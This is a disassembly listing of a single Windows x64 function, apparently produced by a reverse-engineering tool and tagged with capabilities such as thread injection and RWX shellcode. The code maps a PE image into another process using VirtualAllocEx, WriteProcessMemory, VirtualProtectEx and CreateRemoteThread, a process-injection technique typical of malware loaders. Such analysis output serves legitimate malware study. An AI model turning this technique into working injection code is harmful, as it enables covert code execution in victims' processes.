Function at 0x14002ca90
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0x100
mov rax, qword [0x1400c5080]
xor rax, rsp
mov qword [rbp - 9], rax
mov r14, rcx
mov qword [rbp - 0x11], rdx
mov rcx, qword [rdx]
mov eax, 0x5a4d
mov rbx, rdx
cmp word [rcx], ax
je 0x14002cb09
mov rdx, qword [rdx + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14002cafd
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002ced6
mov rcx, r8
call fcn.140097750
xor edi, edi
jmp 0x14002cc26
movsxd r13, dword [rcx + 0x3c]
mov eax, 0x8664
add r13, rcx
cmp word [r13 + 4], ax
jne 0x14002cad1
mov r8d, dword [r13 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x14002cb53
mov rcx, qword [rbx]
test rcx, rcx
je 0x14002cc31
mov rdx, qword [rbx + 0x10]
jmp 0x14002cad5
xor edi, edi
lea rax, [rbp - 0x15]
mov dword [rbp - 0x15], edi
mov rdx, r12
mov r8d, dword [r13 + 0x50]
mov rcx, r14
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov r8, qword [rbx]
mov rdx, r12
mov qword [rsp + 0x60], rax
mov rcx, r14
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov rax, qword [sym.imp.ntdll.dll_RtlAddFunctionTable]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x79], rdi
mov qword [rbp - 0x71], 1
mov qword [rbp - 0x61], 1
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x69], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002cc5a
mov rdx, r12
mov rcx, r14
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14002cc31
mov rdx, qword [rbx + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14002cc21
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002ced6
mov rcx, r8
call fcn.140097750
mov qword [rbx], rdi
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rdi
xor al, al
mov rcx, qword [rbp - 9]
xor rcx, rsp
call fcn.140097730
mov rbx, qword [rsp + 0x150]
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movzx esi, word [r13 + 0x14]
mov r15d, edi
add rsi, 0x2c
cmp word [r13 + 6], di
je 0x14002ccad
add rsi, r13
mov eax, dword [rsi - 4]
test eax, eax
je 0x14002cc9c
mov r8d, dword [rsi]
mov r9d, eax
mov edx, dword [rsi - 8]
mov rcx, r14
add r8, qword [rbx]
add rdx, r12
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14002cbd8
movzx eax, word [r13 + 6]
inc r15d
add rsi, 0x28
cmp r15d, eax
jne 0x14002cc70
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r14
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
mov r15, rax
mov rcx, r14
test rax, rax
jne 0x14002cce2
mov rdx, r12
jmp 0x14002cbde
mov r9d, 0x40
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x60]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, r14
test eax, eax
jne 0x14002cd1c
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r15
jmp 0x14002cbdb
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov rsi, rax
mov rcx, r14
test rax, rax
je 0x14002cd02
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
lea r8, [0x14002d100]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rcx, r14
test eax, eax
jne 0x14002cd99
mov rdx, r12
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x14002cbdb
mov qword [rsp + 0x30], rdi
mov r9, rsi
mov dword [rsp + 0x28], edi
xor edx, edx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14002cdbf
xor r8d, r8d
mov rcx, r14
jmp 0x14002cd6d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
lea rdx, [rbp - 0x19]
mov dword [rbp - 0x19], edi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x19], 0x103
jne 0x14002d0b1
xorps xmm0, xmm0
mov qword [rsp + 0x20], rdi
mov r9d, 0x40
lea r8, [rbp - 0x59]
mov rdx, r15
mov rcx, r14
movups xmmword [rbp - 0x59], xmm0
movups xmmword [rbp - 0x49], xmm0
movups xmmword [rbp - 0x39], xmm0
movups xmmword [rbp - 0x29], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rsi, qword [rbp - 0x39]
cmp rsi, 0x404040
je 0x14002d070
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rsi, rsi
je 0x14002cdd0
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov rsi, rax
test rax, rax
je 0x14002cbed
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
mov r8, rsi
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [r13 + 0x14]
lea rsi, [r13 + 0x18]
movzx edx, word [r13 + 6]
add rsi, rcx
mov r15d, edi
test dx, dx
je 0x14002cf39
mov rbx, qword [rsp + 0x40]
lea r8, str..rsrc
lea r9, str..reloc
mov edx, dword [rsi + 8]
test edx, edx
je 0x14002cf1c
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rsi + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x14002cedd
cmp rcx, 6
jne 0x14002cec0
jmp 0x14002cef4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
movzx eax, byte [rsi + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x14002cf1c
cmp rcx, 7
jne 0x14002cee0
mov r9, rdx
mov qword [rsp + 0x20], rdi
mov edx, dword [rsi + 0xc]
mov r8, rbx
add rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, str..rsrc
lea r9, str..reloc
movzx eax, word [r13 + 6]
inc r15d
add rsi, 0x28
cmp r15d, eax
jne 0x14002ceb2
movzx ecx, word [r13 + 0x14]
movzx edx, ax
mov rbx, qword [rbp - 0x11]
movzx eax, cx
mov r15d, edi
lea rsi, [rax + 0x3c]
test dx, dx
je 0x14002cfb0
add rsi, r13
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov ecx, dword [rsi - 0x1c]
test ecx, ecx
je 0x14002cf9a
mov eax, dword [rsi]
mov dword [rbp - 0x19], edi
test eax, 0x80000000
jbe 0x14002cf6b
mov r9d, 4
jmp 0x14002cf7a
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rsi - 0x18]
lea rax, [rbp - 0x19]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, word [r13 + 6]
inc r15d
add rsi, 0x28
cmp r15d, eax
jne 0x14002cf50
movzx eax, word [r13 + 0x14]
movzx eax, ax
mov r9d, 2
mov dword [rbp - 0x11], edi
mov rdx, r12
mov rcx, r14
mov r8d, dword [rax + r13 + 0x24]
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [rsp + 0x40]
mov r9d, 0x1000
mov rdx, qword [rsp + 0x48]
mov rcx, r14
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rsp + 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14002d062
mov rdx, qword [rbx + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14002d052
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002d069
mov rcx, r8
call fcn.140097750
mov qword [rbx], rdi
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rdi
mov al, 1
jmp 0x14002cc33
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rsp + 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14002cc31
mov rdx, qword [rbx + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14002cc21
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x14002cc1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3